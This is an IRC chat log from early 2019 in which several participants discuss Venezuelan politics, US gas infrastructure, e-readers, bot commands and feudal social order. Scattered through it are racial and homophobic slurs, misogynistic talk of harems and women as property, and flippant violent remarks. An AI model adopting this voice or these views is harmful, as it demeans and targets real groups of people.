1891280;1548979463;feedbot;http://qntra.net/2019/02/qntra-s-qntr-january-2019-report/ << Qntra -- Qntra (S.QNTR) January 2019 Report 1891281;1548979585;feedbot;http://explo.yt/post/2018/11/22/Flat-for-sale << serialized delusions -- Flat for sale 1891282;1548980416;BingoBoingo;Meanwhile in local memes https://i.redd.it/lp5maqrh8nd21.png "The gil laburante vs The Chad Motochorro" 1891283;1548983513;mod6;Lords and Ladies of TMSR~, The State of Bitcoin Address for January 2019: http://therealbitcoin.org/ml/btc-dev/2019-February/000323.html 1891284;1548983543;mod6;Take that, Nancy. 1891285;1548984154;asciilifeform;mod6: neato 1891286;1548984165;asciilifeform;hm i thought jurov lived in germany nowadays 1891287;1548984176;mod6;Ah, thanks asciilifeform. 1891288;1548984180;mod6;No clue, tbh. 1891289;1548984198;asciilifeform;mod6: iirc he moved coupla yrs ago, it was in the log 1891290;1548984255;asciilifeform;BingoBoingo: iirc in usa they traditionally use sugar, rather than salt, for these.. ( why -- i do not know ) 1891291;1548985888;mircea_popescu;o look at that, us-istan reads just like 1989s romania. 1891292;1548986006;mircea_popescu;o check it out, jurov moving. i wonder where to ? 1891293;1548986157;asciilifeform;mircea_popescu: i was digging for that 1 trilema piece where 'the housewife... waits until wolf's hour of night to cook the food, that's when gas pressure' but didn't in o(1) find 1891294;1548986258;mircea_popescu;asciilifeform http://trilema.com/2009/comunismul-capitalismul-si-oprimarea-femeii/#selection-59.493-59.579 1891295;1548986267;asciilifeform;aa! 1891296;1548986269;asciilifeform;yes that one 1891297;1548986273;mircea_popescu;this shared search thing works quite well huh. 1891298;1548986281;asciilifeform;tho for somereason i thought i read it in an engl one 1891299;1548986350;mircea_popescu;possibru it exists also in translation 1891300;1548986613;asciilifeform;was apparently here http://trilema.com/2017/%D0%9A%D1%82%D0%BE-%D1%82%D1%8B-%D0%BF%D0%BE-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B8/#selection-151.0-185.218 1891301;1548986825;asciilifeform;for bonus lulz, the gas infrastructure of these people (gringostan, not shoemaker's ro, i cannot comment re the latter) is a lul. not even to mention the fact that they pretend to also ~export~... 1891302;1548986862;asciilifeform;leaks on erry other street intersection ( and for years at a time, folx call'em in, diggers dig, 3days later again leak ) 1891303;1548986888;asciilifeform;or the pumping stations ( unmarked on maps, cuz 'strategic', but quite visible from street ) 1891304;1548986928;asciilifeform;1 , not far from asciilifeform , used to have 3 concentric concertina fences ( dunno whether minefield b/w or not ) , then coupla yrs ago all but 1 removed , i suspect they got tired of painting 3 1891305;1548986996;asciilifeform;or when they switched from iron pipe to corrugated aluminum + rubber hose ( yes exactly like one sees on sovok kitchen stoves, but ~buried~ and km-length ) 1891306;1548987008;asciilifeform;and whoknows what else, i'm not even aficionado of subj 1891307;1548987051;mircea_popescu;pretty sad. 1891308;1548987069;mircea_popescu;truth of the matter is, natgas is actually ~quite abrasive~, esp in climates where it cools significantly. 1891309;1548987082;mircea_popescu;how the fuck they expect to make those pipes work is anyone's guess. "rubber", as fucking if. 1891310;1548987133;asciilifeform;slow zimbabwefication. ( with the diff that ~this~ zimbabwe has winter ) 1891311;1548992129;trinque;http://btcbase.org/log/2019-01-30#1890704 << only where it matters. human hands in, human hands out. within bot, go to town. even if the approach isn't perfect, it makes exploits a pain in the ass to monetize, so why bother. 1891312;1548992129;a111;Logged on 2019-01-30 16:10 asciilifeform: imho the only possible arg against it is if you have e.g. 2 hands but 500 worth of process. but evidently jurov , trinque , et al had <= 2 hands worth 1891313;1548992186;trinque;http://btcbase.org/log/2019-01-30#1890817 << brother flies; I grab controls only to amuse myself 1891314;1548992186;a111;Logged on 2019-01-30 18:29 asciilifeform: e.g. trinque 1891315;1548992234;trinque;http://btcbase.org/log/2019-01-31#1891133 << this is correct, and where cuntoo lacks proper trb deps (if it does) cuntoo is wrong 1891316;1548992234;a111;Logged on 2019-01-31 02:14 asciilifeform: i dun recall whether trinque specifically tested this, but as i understand it oughta work precisely like-so. 1891317;1548994121;BingoBoingo;asciilifeform: I suspect the Italians hated the boat and don't subsidize hawaiian cane sugar 1891318;1548994861;BingoBoingo; how the fuck they expect to make those pipes work is anyone's guess. "rubber", as fucking if. << If I went back to old country I don't think I could ever buy a house after seeing the local concrete glory. 1891319;1549010404;jurov;I have already moved, just few kilometers, still living in Slovakia, but it took better part of year to clean up the old flat for sale, the building has been renovated too. 1891320;1549025497;feedbot;http://trilema.com/2019/a-vvord-on-shakespear/ << Trilema -- A vvord on Shakespear 1891321;1549034805;BingoBoingo;And in other news, CIA stooge interim president rejects dialogue and diplomacy https://archive.is/hYdP3 1891322;1549041734;mircea_popescu;BingoBoingo i seem to recall a trilema article about stealing a country, by creating an imaginary alt-country and just pretending that's it ; i can't quite find it now, and it's a shame, considering how prophetic it turns out to be. 1891323;1549041759;BingoBoingo;Will look, think I remember a title snippet 1891324;1549041788;mircea_popescu;there's of course http://trilema.com/2016/and-they-wont-fucking-yield/#selection-215.0-223.427 also in the vein, but there was an exact one ;/ 1891325;1549041839;mircea_popescu;mebbe alf has it indexed. 1891326;1549041849;asciilifeform;mircea_popescu: http://btcbase.org/log/2016-08-01#1511945 1891327;1549041849;a111;Logged on 2016-08-01 00:44 mircea_popescu: http://btcbase.org/log/2016-08-01#1511937 << oh, "color revolutions" dun work ? tell you what, we'll steal your country's exports and with the proceeds finance an alt-country we'll pretend is realy your country. ha-ha! 1891328;1549041855;asciilifeform;^ was a log item. 1891329;1549041859;mircea_popescu;oh it was huh! 1891330;1549041867;mircea_popescu;ty 1891331;1549041871;asciilifeform;np 1891332;1549041877;asciilifeform;(in fact had it indexed.) 1891333;1549041925;mircea_popescu;pretty shameful that this human stain still exists, incidentally. 1891334;1549041955;mircea_popescu;i'd readily trade a few endangered species or w/e, an australia or two glassed, for its erradication. 1891335;1549041997;asciilifeform;it's 1 of those brit-empire algos the current derps 'inherited' (brits packed it in india but left behind a pakistan; usg , then, in germany (standing), korea (standing), vietnam (oops), taiwan (standing), etc 1891336;1549042004;BingoBoingo;NO, pretty sure there's a trilema 1891337;1549042017;mircea_popescu;BingoBoingo a rly ? 1891338;1549042020;BingoBoingo;http://trilema.com/2014/how-to-start-your-own-country-adnotated/ 1891339;1549042068;asciilifeform;dun seem like this one's in there 1891340;1549042132;*;BingoBoingo reading 1891341;1549042134;mircea_popescu;i mean... it's a great read and all, but doesn't happen to be what i had in mind. pretty sure the logline was it. 1891342;1549042211;*;BingoBoingo not seeing that in their either 1891343;1549042610;asciilifeform;for completeness, oughta include the laughably failed attempts -- the london-based 'alt-gov'-s of poland, ukrs, etc 1891344;1549043311;mircea_popescu;lotta failed attempts, and the success of the successes extremely fucking dubious. 1891345;1549043331;mircea_popescu;they're the sorta "fix that works while not needed" nonsense "elected representative governments" tend to come up with 1891346;1549043393;mircea_popescu;or, in the immortal words of a ~very typical~ (if coincidentally naive enough orc as to be plain about it), http://trilema.com/2014/the-disadvantages-of-living-among-idiots/#selection-59.2-59.124 1891347;1549043442;mircea_popescu;that's what THEY ALL SAY. "i deeply regret nothing else and nothing besides having had the misfortune of being in the white house when our taiwan turned out to be a paper wrap on burning fire and no more -- all the OTHERS had it much better, because then the paper wrap LOOKED solid enough" 1891348;1549043629;asciilifeform;these are the folx for whom e.g. tyre fire of libya is a 'success' ( ghaddafi dead? check. no unified arabistan ? check. etc ) 1891349;1549043807;mircea_popescu;keks. 1891350;1549043816;mircea_popescu;libya is why they lost syria. 1891351;1549043867;mircea_popescu;russkis bothered with it ~specifically~ to exploit usg's shocking cuntitude as a superlative of weakness and for no other imaginable reason. 1891352;1549052378;BingoBoingo;The only people for whom libya was a success are the cucks who enjoy Germany getting "BlaKKKED (TM)(R)" 1891353;1549052382;feedbot;http://qntra.net/2019/02/guiado-rules-out-diplomacy-and-italy-breaks-with-eu-on-venezuela-we-absolutely-oppose-the-fact-that-a-country-or-a-group-of-third-countries-can-determine-internal-policies-of-another-country/ << Qntra -- Guiad Rules Out Diplomacy And Italy Breaks With EU On Venezuela "We Absolutely Oppose The Fact That A Country Or A group Of Third Countries Can Determine Internal Policies Of Another Country" 1891354;1549069043;BingoBoingo;In other news the psyops are really cranking up in Vzla. 10+ hours sin luz in the barrios where the generals and colonels live daily since wednesday. Someone wants to bore these folks into taking to the streets 1891355;1549070947;asciilifeform;not good prognosis , if fuhrer can't keep generals plugged in 1891356;1549070992;asciilifeform;( or for that matter, if he dun shoot 1 pantsuit per hour of outage, imho ) 1891357;1549071344;BingoBoingo;Well, buy moar Cisco y Seimens 1891358;1549071353;asciilifeform;an' runmoarwinblowz aha 1891359;1549071427;BingoBoingo;Seriously one big Huawei advert this 1891360;1549071477;asciilifeform;difficult to picture a better advert for sane systems than stuxnet et al. but somehow didn't sink into thick orc heads. 1891361;1549071542;asciilifeform;!#s tired of living 1891362;1549071542;a111;16 results for "tired of living", http://btcbase.org/log-search?q=tired%20of%20living 1891363;1549071543;BingoBoingo;Niggertopia 1891364;1549071544;asciilifeform;^ see also 1891365;1549071725;BingoBoingo;If Maduro falls I suspect it will be for a falta of GPGgrams offering to trade rum for hanbot hours of decisionmaking, but the list of countries that do shit still weight heavily towards Maduro. 1891366;1549071778;asciilifeform;if the 'countries that do shit' can't be arsed to keep his lights on... 1891367;1549071778;BingoBoingo;NATO breaking, EU breaking, and nothing clearly resembling a bomb has dropped 1891368;1549071799;mircea_popescu;kinda the sad conclusion from prior, also : you need pantsuit to decapitate orc heads, because otherwise orc heads "soberania" all over themselves and you get argentina, qatar etc. 1891369;1549071810;BingoBoingo;Russia/Turkey/China/...(10+spaces)/Italy 1891370;1549071904;BingoBoingo;There's noise over whether or not UAE is buying Vzla gold for good stuff in spite of being USA#1!!!, but indeterminate 1891371;1549071949;asciilifeform;BingoBoingo: iirc mircea_popescu had this essay where 'why wouldja give money to a bear ? bear can't spend money, may as well give it straight to hunter' 1891372;1549072025;BingoBoingo;asciilifeform: No bear in this contest. We've got mongoloids choosing to be retarded and mongoloids born that way trying to drool it out in the ring 1891373;1549072034;mircea_popescu;speaking of money, spent all day on huge harem shopping trip. i am now in possession of picture including bimbo on 8 inch platforms holding the ~$2.70 receipt for them. 1891374;1549072038;mircea_popescu;WHY GIVE MONEY TO ANYONE, i say. 1891375;1549072075;asciilifeform;'i didn't get rich by writing a lot of checks!'(tm)(r) 1891376;1549072125;*;BingoBoingo has a couple of very beefy dragonflies on the balcony tonight 1891377;1549072462;mircea_popescu;buy the girls their weight in shit, spend on it less than what they could make on street corner in an hour. only recipe for happiness there is! 1891378;1549072566;*;asciilifeform in process of buying surplus industrial xraytron, built for scanning corpses of laboratory animals, 70kg 'bank safe' with shields etc 1891379;1549072585;asciilifeform;dial-a-keV. 1891380;1549072637;asciilifeform;i suppose will also work a++ for asciilifeform's peine forte et dure!11 1891381;1549072648;BingoBoingo;Girls can still make on the street corner in Costa Rica? 1891382;1549072714;BingoBoingo;Here the girls have to go to a parada de omníbus and wait for someone who isn't too retarded to know why they aren't taking a bus. 1891383;1549072732;asciilifeform;mircea_popescu: thinking also, when we bake batch of 'FG 2' or etc., can include radiographs of virginal pcb for extra fee 1891384;1549072761;asciilifeform;digitized/signed, naturally 1891385;1549072982;mircea_popescu;BingoBoingo sure, lotta ustards touristing. 1891386;1549072991;mircea_popescu;asciilifeform this is a great idea, actually. 1891387;1549073026;asciilifeform;mircea_popescu: i've had this notion in the pipeline for ages. 1891388;1549073033;BingoBoingo;mircea_popescu: Nah, Brasiltards are the target market, but naturally they can't hook the brasil tards because Protuguese trips the faggot signal in their ears 1891389;1549073065;BingoBoingo;There are few UStards in Uruguay 1891390;1549073099;asciilifeform;mircea_popescu: only reason i did not go with it prior, is that overestimated the expense 1891391;1549073161;BingoBoingo;A few old "retire for less" folks may be in Piriapolis and Atlantida on undefendable homesteads. All the other UStards rent fast with the exception of single digit count of 20-40 year old losers selling pot under market and "teaching" english to get by 1891392;1549073173;asciilifeform;all sortsa surplus gear is sold for less 'per kg' than those platform shoes. principal difficulty for asciilifeform specifically, is floor space 1891393;1549073184;asciilifeform;it's the only reason i dun have e.g. electron microscope, etc 1891394;1549073241;BingoBoingo;asciilifeform: Do you want me to specifically look for floorspace? 1891395;1549073266;asciilifeform;BingoBoingo: there's no way in heaven or hell that i can get these through orc customs; not without uboat 1891396;1549073295;BingoBoingo;Yacht club is a thing. 1891397;1549073300;asciilifeform;presently we're limited there to uninteresting-looking objects that can be hand-carried. 1891398;1549073335;asciilifeform;BingoBoingo: i suppose if mircea_popescu ever feels like putting his to use for such thing. 1891399;1549073377;BingoBoingo;If there are interesting objects outside of suitcase ability and with sufficently economic need, shit can be tried 1891400;1549073399;BingoBoingo;If the payload is worth trying 1891401;1549073467;BingoBoingo;Less than a kilometer from El Puertito de Buceo to the datacenter. There are other "clubs" on the city shores. 1891402;1549073483;asciilifeform;BingoBoingo: mircea_popescu had essay the other day where 'typesetter works for the bigger bux, elsewhere.' the folx with uboat capability, are moving 'white gold', not microscopes. 1891403;1549073535;BingoBoingo;In one direction 1891404;1549073571;asciilifeform;well, speaking generally, 'microscopes' move ~from~ the collapsing industrial reich that they fall out of. 1891405;1549073584;BingoBoingo;There is more surplus cocaine paste here than the number of pichis can justify. The Powder has to be headed somewhere. 1891406;1549073588;asciilifeform;sorta reverse of 'paste'. 1891407;1549073621;BingoBoingo;Paste only happens here because Vasquez wants to be BFFs with Morales 1891408;1549073663;BingoBoingo;There's an implied circuit of transit where at least one leg is underweight 1891409;1549073676;asciilifeform;it's funny, actually, the queue to come ~out~ of usa is 10 minutes long, and they 'search' for pocket knives and other ceremonials. queue to come ~in~ is 3hrs and they search arse, with dogs. 1891410;1549073693;asciilifeform;assumption is 'terrorists want to move objects FROM orcistan TO reich' 1891411;1549073815;asciilifeform;BingoBoingo: even supposing i had a teleporter -- dun seem like BingoBoingostan is in fact the mythical mecca of cheap floor space envisioned to exist somewhere 1891412;1549073817;BingoBoingo;In other news, the apparently perfect mellow high yeild short time to flower marijuana genetics have been identified. None of the orcs want to bother planting it. It could unleash hell in the US and do ~nothing here 1891413;1549073858;BingoBoingo;BingoBoingistan has a lack of floorspace, but any floorspace here guarentees ferrocement 1891414;1549073919;BingoBoingo;The main thoroughfare 18 de Julio is dominated by old fucks running single retail stores spending the rest of their space on warehouse surrounding their showroom. 1891415;1549073952;BingoBoingo;Bidding competition is the 11-12 story residential overbuilders 1891416;1549073964;asciilifeform;BingoBoingo: if you think about it, it's actually quite logical that floorspace in all places asciilifeform can easily get to , costs approx. same. 1891417;1549073990;asciilifeform;!#s glued coin 1891418;1549073991;a111;4 results for "glued coin", http://btcbase.org/log-search?q=glued%20coin 1891419;1549073992;asciilifeform;^ see also. 1891420;1549073993;BingoBoingo;No, it is quite cheaper in East StL 1891421;1549074007;asciilifeform;BingoBoingo: not after you acct. for the cost of defense. 1891422;1549074011;asciilifeform;see also the bmore thread. 1891423;1549074158;BingoBoingo;What materials do you want to defend your microscope in James Lafond presents Baltimore? 1891424;1549074200;asciilifeform;it aint so much about materiel, or asciilifeform would already have built base there. 1891425;1549074237;asciilifeform;mircea_popescu could probably run one there for and pinyin is possibly built as a joke on the 'white devil', the encoding has ~0 relation much of the time to the actual sound << FWIW Spanish doesn't work in Chile 1891488;1549078720;mats;i recently bought a kobo aura h2o (1st ed) eink reader, which is 6.8in, water resistant, reads pdfs and most formats unlike the kindle (which i think requires mobi), and most importantly takes a microsd card. filled it with the books, papers, logs i've carefully saved over last 10y, still have tons of space left on a 64gb card 1891489;1549078823;mats;only thing left for me to do is export my 'pocket' bookmark collection into text format (kobi has some support for pocket, but its not very good), which i haven't figured out how to do yet 1891490;1549079060;BingoBoingo;Sounds about right 1891491;1549079202;mats;https://usercontent.irccloud-cdn.com/file/HucxZGO8/pk.png 1891492;1549079283;mats;thats something pocket does ( stripped down http://www.thetower.org/article/how-iraq-became-a-wholly-owned-subsidiary-of-the-islamic-republic-of-iran/ ) , but they implemented oauth at some point and i'm not sure how to consume the output, or if i really wanna do that sans jpgs/pngs etc 1891493;1549079341;BingoBoingo;Honestly at this point I care more about how to get the stoner republic of paraguay to stop dumping phosphorus on my beaches 1891494;1549079342;mats;i wonder if lobbes has a portal where i can feed, say, 2k urls for archival? 1891495;1549079356;BingoBoingo;^ lobbes can you do that? 1891496;1549079358;BingoBoingo;Done 1891497;1549079593;mats;how does spanish not work in chile? or is that just your way of saying linguistic drift 1891498;1549079599;mircea_popescu;http://btcbase.org/log/2019-02-02#1891425 << yeah, and amusingly the reason comes right around to pizarro customer acquisition files. 1891499;1549079599;a111;Logged on 2019-02-02 02:23 asciilifeform: mircea_popescu could probably run one there for > '...the ideology of cryptography preaches the exact opposite: never do custom cryptography, always use the standard one, approved by the experts who know better than you... ...At this point, tens of thousands of cryptanalysts had ten years to compromise four algorithms, designed by less than dozen experts. The official mantra to use these four is part of t 1891522;1549119483;asciilifeform;he power equation mandating uniformity of the protective gear, and is permeating both academia and the industry...' 1891523;1549119486;asciilifeform;'... Should everyone design their own ciphers, millions of companies and individuals designing their own terribly weak ciphers, new one every year? There is no automated way to cryptanalyse even naively weak ciphers (and many would make not so naive ones.) Tens of thousands of cryptanalysts cannot begin to chip away even at the weak security of millions of new custom and unpublished ciphers every year. First they would have to figure 1891524;1549119486;asciilifeform; out what is the cipher, and then break it. It takes time, even if it is a variant of ROT-13. What would happen is leveling of the playing field, engaging brains against brains, on the scale that cryptanalysis cannot keep up with.' 1891525;1549119607;asciilifeform;http://btcbase.org/log/2019-02-02#1891514 << oh hey itanic finally sinks ? 1891526;1549119607;a111;Logged on 2019-02-02 04:51 mats: as for news-in-tech, https://www.anandtech.com/show/13924/intel-to-discontinue-itanium-9700-kittson-processor-the-last-itaniums 1891527;1549119707;asciilifeform;http://btcbase.org/log/2019-02-02#1891513 << was dead letter already in early '80s, when it was Officially proclaimed that all sortsa places where usaschwitz inmates spend good % of their time ( car, train, street, pub, etc ) are 'exempt' 1891528;1549119707;a111;Logged on 2019-02-02 04:50 mats: also, 'The Supreme Court’s decision in Herring v. [U.S.] authorizes police to defeat the Fourth Amendment’s protections through a process we call evidence laundering [...] when one police officer makes a constitutional mistake when gathering evidence and then passes that evidence along to a second officer, who develops it further and then delivers it to prosecutor' https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2558737 1891529;1549122371;asciilifeform;meanwhile, in sneak previews, 1891530;1549122373;asciilifeform;!!up pehbot 1891531;1549122373;deedbot;pehbot voiced for 30 minutes. 1891532;1549122400;asciilifeform;!A .3 $x .2 $y xy* # 1891533;1549122400;pehbot;asciilifeform: 0000000000000000000000000000000000000000000000000000000000000000 1891534;1549122433;asciilifeform;hrm, loox like pehbot will need fix, gotta remove filter for previously-undefined ops 1891535;1549122462;asciilifeform;err, nm, 1891536;1549122474;asciilifeform;!A .3 $x .2 $y xy* _# 1891537;1549122475;pehbot;asciilifeform: 0000000000000000000000000000000000000000000000000000000000000006 1891538;1549122477;asciilifeform;there we go. 1891539;1549122565;asciilifeform;!A .3 $x .2 $y xyR* # 1891540;1549122565;pehbot;asciilifeform: 0000000000000000000000000000000000000000000000000000000000000006 1891541;1549122568;asciilifeform;^ equiv. 1891542;1549122968;shinohai;Good morning asciilifeform 1891543;1549122974;asciilifeform;guten morgen shinohai 1891544;1549122979;asciilifeform;shinohai: how goes ? 1891545;1549123118;shinohai;Not bad, just noticed last nite ave1's site back up so in process of building musl gnat today then on to revisiting ffa stuffs 1891546;1549123141;asciilifeform;shinohai: where didja leave off ? ( or starting at ch1 ? ) 1891547;1549123185;shinohai;I was at ch. 9, but decided to go back to start and redo all, can't hurt 1891548;1549123192;asciilifeform;defo never hurts. 1891549;1549123213;*;asciilifeform brb,tea 1891550;1549123217;shinohai;I was somehwere in the "Exiting Egypt" part 1891551;1549126366;*;asciilifeform back 1891552;1549126390;asciilifeform;shinohai: rewalking the thing always does you some good, imho. 1891553;1549126403;asciilifeform;fwiw i regularly reread own series. 1891554;1549127933;mircea_popescu;asciilifeform it's not like the republic is ~avoidable~. 1891555;1549127943;asciilifeform;mircea_popescu: no moar than arithmetic. 1891556;1549127948;asciilifeform;( dun keep some folx from tryin'... ) 1891557;1549127979;mircea_popescu;all pretense to the contrary go whichever way it will ; the end result of the end of "industrial revolution" and the delusional hallucinations of the romantic 1800s is precisely what you'd expect -- ye olde villein, his wife impregnated by the lord of the manor who permits him to live on. 1891558;1549127993;mircea_popescu;i meant, in terms of ~social organisation~. 1891559;1549128019;mircea_popescu;specifically the sense of http://btcbase.org/log/2019-01-29#1890542 1891560;1549128019;a111;Logged on 2019-01-29 07:00 mircea_popescu: in other words, it's perfectly fucking clear ~what exactly~ the talking cunthead dun like about venezuela, and the world in general. 1891561;1549128039;mircea_popescu;there's no fucking space in the future for "choice" nor for "human dignity" understood as anything but the dignity of the precious few, and on in this vein. 1891562;1549128046;mircea_popescu;the amateur hour is at an end. 1891563;1549128249;mircea_popescu;the only important part here, is that the item you quote FAILS to reference the proper term of art. and we are EXACTLY back to http://trilema.com/2013/bitcoin-prices-bitcoin-inflexibility/#selection-113.0-113.557 problem : 1891564;1549128263;asciilifeform;aint even clear to me that there ~was~ an 'amateur hour'. only thing there was , was some unusually baroque buluceala re who gets to 'precious few' 1891565;1549128269;mircea_popescu;either the world at large accepts #trilema and submits ; or else comes up with "its own" as if that were possible and so on. 1891566;1549128290;mircea_popescu;failure or success in outreach, such as pizarro, is a larger factor than anything to do with the world, in that sense. 1891567;1549128325;mircea_popescu;asciilifeform there evidently was an amateur hour, proof being the concept of "wedding", uniting one man and one woman in some sort of equal relationship. 1891568;1549128353;mircea_popescu;the only way wedding can work, is uniting the master's concubine with the vassal. "you can only have one", ie, only one word, and only one honor. 1891569;1549128529;asciilifeform;mircea_popescu: i can only suppose that this type of org algo stuck around in europistan cuz ultimately was cheaper way to run the agri-gulag than the alt variants 1891570;1549128558;mircea_popescu;nah. there was a brief window during which amateur efforts actually paid enough to make them competitive. 1891571;1549128565;mircea_popescu;let's call it "nature took a kind turn" 1891572;1549128751;*;asciilifeform not domain expert in running gulag, but sees it as obv that in past , some carrot/stick algos were competitive, in fyootoor -- other, diff ones win 1891573;1549128847;asciilifeform;the variant where 'buncha d00dz get 1000 calories/diem and cut trees with extra 200 cal as bonus for top 10%' was tried, ended up short of +ev ( berzin -- was shot, recall ) 1891574;1549128875;mircea_popescu;this isn't in the slightest what's discussed here. 1891575;1549128889;mircea_popescu;you take a view of man as spherical-chicken-in-vacuum, which is at best naive. 1891576;1549128899;mircea_popescu;the only fundamental quality of man is that man can be happy in any circumstance. 1891577;1549128906;asciilifeform;the variant mircea_popescu painted, where 'feed 99%+ of males to pigs at birth, and the rest program robots and fuck harem' requires automation that i suspect aint happenin'. 1891578;1549128922;mircea_popescu;happening already. 1891579;1549128955;mircea_popescu;consider a simple case : sovok consisted of men in positions of feudal power (such as boss of factory, chief of an office, whatever) fucking the prettier "married" women in their charge. 1891580;1549128963;asciilifeform;i'd like to know where. cuz errywhere i've been, when you want e.g. iron staircase built, what comes is a gang of 20 d00dz with welding torches, and not robot. 1891581;1549128968;mircea_popescu;because, obviously, nobody wanted to be stuck with the end results of the hussies' fertility. 1891582;1549128988;mircea_popescu;that they were married already, to some loser, was the best possible quality a horny 20something could bring to the table. 1891583;1549128998;mircea_popescu;this is simpy naive reconstruction of the feudal system from the other end. 1891584;1549129015;mircea_popescu;in more settled times, the chief of the office has a harem already, and to work in there you aspire to... ~marry one~. 1891585;1549129023;asciilifeform;'20s-'50s sovok. then they figured out how to bake synth progesterone etc. 1891586;1549129029;mircea_popescu;which is a process that speaks ~as to your status~, not as to her. 1891587;1549129050;mircea_popescu;ie, EXACTLY what marriage speaks to in ussovok. 1891588;1549129064;mircea_popescu;asciilifeform my point being specifically, that it IS ALREADY HAPPENING. 1891589;1549129082;mircea_popescu;and yes, on occasion "new discovery -- hides this corner, voila children, whole thing gone!! believe!!!" 1891590;1549129100;mircea_popescu;anyone who wants to believe is welcome to. i... i have serious problems with works of fiction, as the logs no doubt attest. 1891591;1549129130;asciilifeform;mircea_popescu: plox to expand on how 'corner' is 'hidden', rather than cut 1891592;1549129155;mircea_popescu;suppose you're an old curmudgeon. 1891593;1549129173;*;asciilifeform supposes 1891594;1549129175;mircea_popescu;suppose you live somewhere where there grow kids (specifically, like trees, because that's how it goes -- nobody cares). 1891595;1549129179;mircea_popescu;suppose they bother you. 1891596;1549129206;mircea_popescu;so one day, when they kick their football into your window, you, instead of giving it back (as trees, before), you... you... what do you do ? TEAR IT UP!!! is that it ? 1891597;1549129219;mircea_popescu;please expand on how the corner was hidden rather than cut. 1891598;1549129235;mircea_popescu;because you'd have to be an exceptionally unwordly curmudgeon to imagine you've cut anything out of this fucking worl. 1891599;1549129239;mircea_popescu;what, with scissors ? 1891600;1549129265;asciilifeform;i.e. problem of 'what to do with excess meat' was transformed into 'who gets stuck with the work of occasionally baking new meat' ? 1891601;1549129285;asciilifeform;sorta how no moar horse exhaust in nyc, but nao gaseous n2o instead ? 1891602;1549129360;mircea_popescu;not even. rather, that they invented the pill doesn't mean much changes, because the ~pretense~ was that "they're fucking your wife because they don't feel like raising her children". the TRUTH was that "the only possible way human affairs are settled is -- boss has a harem, you wish to work for boss so therefore marry one of his whores". 1891603;1549129382;mircea_popescu;"but i found her before he did, and i told her she's not a whore before she was". "yes, imperfect communication systems in olde sovoke" 1891604;1549129433;asciilifeform;if anyffin it seems muchly too generous, for erry inmate to get personal whore 1891605;1549129444;mircea_popescu;meanwhile, the ~only~ possible meaning of marriage is as a https://teresafritschi.files.wordpress.com/2013/10/vassal-paying-homage-1.jpg ceremony. 1891606;1549129486;mircea_popescu;and this is how it worked, historically, too. contrary to loud pretense claiming otherwise, marriage created a pleb's reinterpretation of ye olde vasselage between an old man and a young'un. 1891607;1549129526;mircea_popescu;asciilifeform you're thinking of the wrong end again, lol. lord possibly wants a dozen or a grosse concubines, and one or a dozen knaves. so he marries some of the girls off. "but what are all the OTHER boys to do ???" "keks." 1891608;1549129553;asciilifeform;the others feed the crows, what 1891609;1549129558;mircea_popescu;from "x is the only possible function of y" dun follow that y will ever even happen, yes. 1891610;1549129598;mircea_popescu;(notice, for the noob, that the woman ~is actually depicted~ in the above illustration. she happens to be quadripedal, but as #metoo taught you, this shouldn't matter IN FAIRNESS.) 1891611;1549129619;mircea_popescu;ninth fucking century "illumination". 1891612;1549129653;mircea_popescu;"o no mp, that was the knight's own horse, which he... founded it." "i'm sure. cuz lotta loose horses about, on the king's lands." 1891613;1549129661;asciilifeform;mircea_popescu: that'd be moar red army ( stalin issues you a mount ) than euro-knight ( dun even qualify unless you bring yer own ) neh 1891614;1549129671;mircea_popescu;"yer own". 1891615;1549129678;mircea_popescu;yer own in what sense ? 1891616;1549129711;mircea_popescu;don't tell me "grew on land king gave you" lest i fall over. 1891617;1549129721;asciilifeform;where else 1891618;1549129724;mircea_popescu;so then. 1891619;1549129750;mircea_popescu;yes, red army took all morons, catastrophic desperation, not encountered in europe since long before 900ad. nevertheless. 1891620;1549129750;asciilifeform;king issues you fief tho, not chix ( yer expected to grow these ) 1891621;1549129772;mircea_popescu;asciilifeform except, of course, if it's any kind of magical horse, with powers. then daddy gives, yes ? 1891622;1549129811;asciilifeform;incidentally as i recall mircea_popescu dunlike elaborate fictions, and kingship is precisely that ( who was 'king' in 1920s china ? can answer this q in o(1) ? ) 1891623;1549129821;mircea_popescu;somehow the stories fat frumos don't seem to include marriage by fruit of his labours "on the field". because you can't spank your own monkey into a wife anymore than you can douchebag your way into #trilema or pull yourself to moon by britches. 1891624;1549129841;mircea_popescu;asciilifeform i don't believe there's necessarily an answer at all, let alone in o(1). 1891625;1549129846;asciilifeform;right 1891626;1549129860;mircea_popescu;who was the me in all the groups of girlies before i showed up ? "a calling metaphysical", who cares. 1891627;1549129875;asciilifeform;so not as simple as 'king issues' ( i'm aware that church-besotted europistan tried heroically to maintain the fiction, but was quite porous ) 1891628;1549129888;mircea_popescu;"my bones can feel the absence though my eyes can't perceive the difference" 1891629;1549129904;mircea_popescu;asciilifeform imo also approached from wrong end, "here's king, story follows". 1891630;1549129947;mircea_popescu;people in all times and places have this unquenchable thirst for the cheap yet dysfunctional. the whole king-fiction of medieval europe is chinesium before china were even invented by the brits. 1891631;1549129962;mircea_popescu;(yes, china's AN EUROPEAN INVENTION, not some sort of "itself". wut fucking itself.) 1891632;1549130021;asciilifeform;eh the cn folx went through what, 3? 4? cycles of warlords/unification/goldenage/sclerosis/pantsuit/collapse before euros got to'em 1891633;1549130031;mircea_popescu;or so they claim. 1891634;1549130074;mircea_popescu;i suspect it's a lot like drafted actor going, "what, i died three thousand dozen times on broadway stages before tonight". "yes, but you weren't serious about it." 1891635;1549130084;asciilifeform;difficult to conclusively adjudicate the claim w/out time machine, they had this habit of rm -rf / erry time they cycled 1891636;1549130116;mircea_popescu;kinda like how the magic acre goes, tho. do you know how many times it was said in broadway sheets, "this performance is eternal" ? can you recount any of them ? 1891637;1549130149;mircea_popescu;MULTIPLE TIMES A FUCKING SEASON. each fucking season. like in 1919. can you even say who was the top actress of the stage, 1919 ? 1891638;1549130192;*;asciilifeform prolly the last one to ask, can't answer q for ~this~ yr much less 1919 1891639;1549130195;mircea_popescu;produce me a list of all the actresses of whom it was said "eternal performance" in any theatrical season of your choice, before ww2 started, sau. 1891640;1549130216;mircea_popescu;asciilifeform so if you don't credit these actresses a real history, why do you credit china a real history ? 1891641;1549130239;mircea_popescu;(i'm not even proposing it can't be so credited ; i just think the question can't be handwaved.) 1891642;1549130267;mircea_popescu;and yes, of course it goes straight to the core of what nationalism ~is~, very much not "a concept we no longer need" as various low level slash "moderate" socialists propose. 1891643;1549130275;mircea_popescu;very much fucking needed, because otherwise how to answer ? 